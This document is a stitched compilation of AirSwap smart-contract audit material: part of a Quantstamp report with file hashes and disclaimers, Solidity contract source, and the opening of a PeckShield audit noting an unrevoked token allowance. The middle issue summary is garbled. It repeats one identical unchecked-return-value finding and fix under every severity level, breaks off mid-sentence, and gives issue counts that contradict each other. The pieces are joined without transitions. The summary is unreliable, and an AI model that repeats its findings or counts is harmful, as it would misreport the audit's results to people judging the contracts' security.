Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: • Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. • Integer arithmetic may cause incorrect pricing logic. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed with the latest commit.
/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; import "@airswap/delegate/contracts/Delegate.sol"; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "@airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol"; import "@airswap/delegate-factory/contracts/interfaces/IDelegateFactory.sol"; import "@airswap/indexer/contracts/interfaces/IIndexer.sol"; contract DelegateFactory is IDelegateFactory, ILocatorWhitelist { // Mapping specifying whether an address was deployed by this factory mapping(address => bool) internal _deployedAddresses; // The swap and indexer contracts to use in the deployment of Delegates ISwap public swapContract; IIndexer public indexerContract; /** * @notice Create a new Delegate contract * @dev swapContract is unable to be changed after the factory sets it * @param factorySwapContract address Swap contract the delegate will deploy with * @param factoryIndexerContract address Indexer contract the delegate will deploy with */ constructor(ISwap factorySwapContract, IIndexer factoryIndexerContract) public { swapContract = factorySwapContract; indexerContract = factoryIndexerContract; } /** * @param delegateContractOwner address Delegate owner * @param delegateTradeWallet address Wallet the delegate will trade from * @return address delegateContractAddress Address of the delegate contract created */ function createDelegate( address delegateContractOwner, address delegateTradeWallet ) external returns (address delegateContractAddress) { // Ensure an owner for the delegate contract is provided. require(delegateContractOwner != address(0), "DELEGATE_CONTRACT_OWNER_REQUIRED"); delegateContractAddress = address( new Delegate(swapContract, indexerContract, delegateContractOwner, delegateTradeWallet) ); _deployedAddresses[delegateContractAddress] = true; emit CreateDelegate( delegateContractAddress, address(swapContract), address(indexerContract), delegateContractOwner, delegateTradeWallet ); return delegateContractAddress; } /** * @notice To check whether a locator was deployed * @dev Implements ILocatorWhitelist.has * @param locator bytes32 Locator of the delegate in question * @return bool True if the delegate was deployed by this contract */ function has(bytes32 locator) external view returns (bool) { return _deployedAddresses[address(bytes20(locator))]; } } pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/swap/contracts/Swap.sol"; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/indexer/contracts/Indexer.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {}
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code 